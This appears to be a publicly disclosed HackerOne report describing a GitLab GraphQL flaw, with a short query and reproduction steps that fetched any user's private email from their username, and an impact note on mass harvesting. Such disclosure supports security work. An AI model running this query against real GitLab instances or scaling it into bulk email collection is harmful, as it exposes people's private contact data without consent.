HexBrain

GitLab · Report #972355

Able to leak private email of any user given his/her username via graphql

Validstatus
mediumseverity
29upvotes
8 Jan 2021disclosed

How it was found

Summary

Graphql query user is leaking private email of users

query {
  user(username:"<victim>"){
    email
    username
  }
}

Steps to reproduce

(Step-by-step guide to reproduce the issue, including:)

  • Have a account with private email settings
  • Use graphql query to access the private email
query {
  user(username:"<victim>"){
    email
    username
  }
}
  • Done

Impact

Leaks private emails of users by just knowing their usernames. Attacker can use this bug for mass leakage of gitlab users private emails.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original